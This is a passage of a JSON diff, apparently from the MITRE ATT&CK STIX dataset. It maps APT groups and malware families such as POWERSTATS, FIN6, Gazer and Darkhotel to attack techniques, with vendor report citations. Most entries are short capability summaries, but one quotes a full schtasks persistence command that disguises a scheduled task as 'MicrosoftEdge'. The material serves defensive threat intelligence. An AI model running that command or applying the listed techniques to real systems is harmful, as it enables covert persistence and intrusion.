Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) uses port 80 for C2 communications.", + "type": "relationship", + "created": "2019-01-30T14:00:49.735Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6d492623-1e48-45d8-9062-9c9565bb3a8b", + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + }, + { + "source_name": "Anomali Evasive Maneuvers July 2015", + "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.", + "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "modified": "2019-05-30T18:05:32.805Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) has commands to delete files and persistence mechanisms from the victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--85c95ce3-8685-4d2a-9d6f-7e4be4cd9623", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Exaramel](https://attack.mitre.org/software/S0343) has a command to download a file from a remote server to execute.", + "type": "relationship", + "created": "2019-01-30T15:10:04.141Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6d937fb8-a94d-4955-8a6f-f8c32beaece4", + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "modified": "2019-04-24T21:14:11.967Z", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has collected the OS version and computer name from victims. One of the group's backdoors can also query the Windows Registry to gather system information, and another macOS backdoor performs a fingerprint of the machine on its first connection to the C&C server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43809fa9-dbe2-4429-875e-f0828563d6aa", + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "source_name": "ESET OceanLotus macOS April 2019", + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "modified": "2019-07-17T13:11:38.190Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) is capable of installing itself as a service.", + "type": "relationship", + "created": "2019-01-30T15:27:06.685Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a81c971e-732c-4e76-99ad-c7108642dd47", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-02-12T21:28:19.615Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform can use Windows admin shares to move laterally.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b98c506f-3dd3-45c1-b81a-3e23bcfe6198", + "external_references": [ + { + "source_name": "Kaspersky Regin", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) uses rundll32.exe to load.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1cbf5583-626a-4a24-bc59-f3b973752cee", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.444Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A variant of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) attempts communication to the C2 server over HTTP on port 443.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d3c8d1a9-9413-4633-9cbf-4bc34bb5054d", + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CALENDAR](https://attack.mitre.org/software/S0025) has a command to run cmd.exe to execute commands.", + "type": "relationship", + "created": "2019-01-30T15:39:45.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--121d2e76-5ba1-475d-9cf9-1046724abae1", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:39:45.647Z", + "source_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) binds to a raw socket on a random source port between 31800 and 31900 for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c52eb151-c8c5-45f1-984b-d99a12ca05cf", + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can act as a reverse proxy.", + "type": "relationship", + "created": "2019-01-30T16:39:54.292Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a03d084b-c216-4962-93e8-6c0dc8f0cb91", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.723Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) allows adversaries to search for files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--991c16bd-c17b-479a-8f45-385467323c0a", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has established persistence through a scheduled task using the command \u201dC:\\Windows\\system32\\schtasks.exe\u201d /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR \u201cc:\\Windows\\system32\\wscript.exe C:\\Windows\\temp\\Windows.vbe\u201d.", + "type": "relationship", + "created": "2019-01-30T17:13:11.901Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b853cee3-a145-407f-83fe-dd52c4efbe2f", + "external_references": [ + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-04-22T22:36:53.079Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used the Plink command-line utility to create SSH tunnels to C2 servers.", + "type": "relationship", + "created": "2017-05-31T21:33:27.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.770Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) used embedded iframes on hotel login portals to redirect selected victims to download malware.", + "type": "relationship", + "created": "2019-01-30T17:43:28.259Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f62c818-2129-4dc2-9f80-105412df4b1d", + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ], + "modified": "2019-01-31T18:48:52.181Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) installed its payload in the startup programs folder as \"Baidu Software Update.\" The group also adds its second stage payload to the startup programs as \u201cNet Monitor.\"", + "type": "relationship", + "created": "2017-05-31T21:33:27.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42d4ae64-75da-4dfd-b23f-d270252115ee", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "modified": "2019-07-11T13:53:06.026Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used HTTP for C2.", + "type": "relationship", + "created": "2019-01-30T18:02:59.294Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9f89d00f-fc0f-4dbb-9b54-3553821bf7ef", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.868Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) uses cmd.exe to execute commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d467445-9cce-4e84-968e-7a7ecc0a81fa", + "external_references": [ + { + "source_name": "Unit 42 RGDoor Jan 2018", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can gather the username from the system.", + "type": "relationship", + "created": "2019-01-30T18:58:04.062Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47a31ea1-4b4d-4141-9d41-07d3b229913c", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "modified": "2019-04-22T19:48:08.955Z", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) decrypts code, strings, and commands to use once it's on the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--54c703f9-67ef-4622-afed-0ebbd2563e9e", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bbe37d7e-ad35-4c74-a57c-9a398ef6b1be", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486", + "relationship_type": "uses", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6ab0ff01-1695-4301-ac9a-1cd0719be532", + "external_references": [ + { + "source_name": "TrendMicro Hacking Team UEFI", + "description": "Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8", + "relationship_type": "uses", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of providing shell functionality to the attacker to execute commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b4e77f71-970a-4b24-938f-0d50ecea1969", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered a Windows shell script under the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70d5a73c-cc14-410a-a430-5948cd21532f", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "modified": "2019-02-01T14:39:36.307Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) uses Base64 encoding for C2 traffic.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7f1c30eb-051f-4d1a-9d81-1ee46f7779c7", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses the net user command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7d181964-875f-4132-8882-46e9dd18e893", + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.242Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) was distributed through a compromised update to a Tor client with a coin miner payload.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7760fef9-2e22-4747-ad48-f8aa946f3737", + "external_references": [ + { + "source_name": "Microsoft Dofoil 2018", + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/" + } + ], + "modified": "2019-06-24T19:07:12.618Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) can download and execute a file from given URL.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--34d105a6-47ac-4a8b-b892-6f630cd97096", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will attempt to detect if the infected host is configured to a proxy. If so, [NETEAGLE](https://attack.mitre.org/software/S0034) will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ 